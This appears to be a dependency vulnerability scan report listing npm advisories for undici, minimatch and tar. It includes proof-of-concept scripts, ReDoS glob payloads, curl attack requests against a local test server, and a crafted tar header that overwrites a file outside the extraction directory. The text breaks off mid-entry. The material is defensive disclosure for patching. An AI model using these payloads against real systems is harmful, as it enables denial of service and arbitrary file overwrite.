Fixed version 6.24.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 5th percentile Description Description The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive. The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold. Impact Remote denial of service against any Node.js application using undici's WebSocket client A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more Memory exhaustion occurs in native/external memory, bypassing V8 heap limits No application-level mitigation is possible as decompression occurs before message delivery Patches Users should upgrade to fixed versions. Workarounds No workaround are possible.

minimatch 9.0.5 (npm) pkg:npm/minimatch@9.0.5 Inefficient Regular Expression Complexity Affected range >=9.0.0 <9.0.6 Fixed version 10.2.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 5th percentile Description Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. PoC When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***: /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: File search/filter UIs that accept glob patterns .gitignore-style filtering with user-defined rules Build tools that accept glob configuration Any API that exposes glob matching to untrusted input Thanks to @ljharb for back-porting the fix to legacy versions of minimatch. Inefficient Regular Expression Complexity Affected range >=9.0.0 <9.0.7 Fixed version 9.0.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.017% EPSS Percentile 4th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=9.0.0 <9.0.7 Fixed version 9.0.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 5th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

minimatch 3.1.2 (npm) pkg:npm/minimatch@3.1.2 Inefficient Regular Expression Complexity Affected range <3.1.3 Fixed version 10.2.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 5th percentile Description Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. PoC When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***: /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: File search/filter UIs that accept glob patterns .gitignore-style filtering with user-defined rules Build tools that accept glob configuration Any API that exposes glob matching to untrusted input Thanks to @ljharb for back-porting the fix to legacy versions of minimatch. Inefficient Regular Expression Complexity Affected range <3.1.4 Fixed version 3.1.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.017% EPSS Percentile 4th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range <3.1.3 Fixed version 3.1.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 5th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

tar 7.5.9 (npm) pkg:npm/tar@7.5.9 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=7.5.10 Fixed version 7.5.11 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N EPSS Score 0.007% EPSS Percentile 0th percentile Description Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value. What happens with linkpath: "C:../../../target.txt": stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. Writing through the extracted symlink overwrites the outside file (../target.txt). This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives. PoC Tested on Arch Linux with tar@7.5.10. PoC script (poc.cjs): const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) Run: node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt Observed output: PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory. Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: CLI tools unpacking untrusted tarballs into a working directory build/update pipelines consuming third-party archives services that import user-supplied tar files Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=7.5.9 Fixed version 7.5.10 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L EPSS Score 0.005% EPSS Percentile 0th percentile Description Summary tar 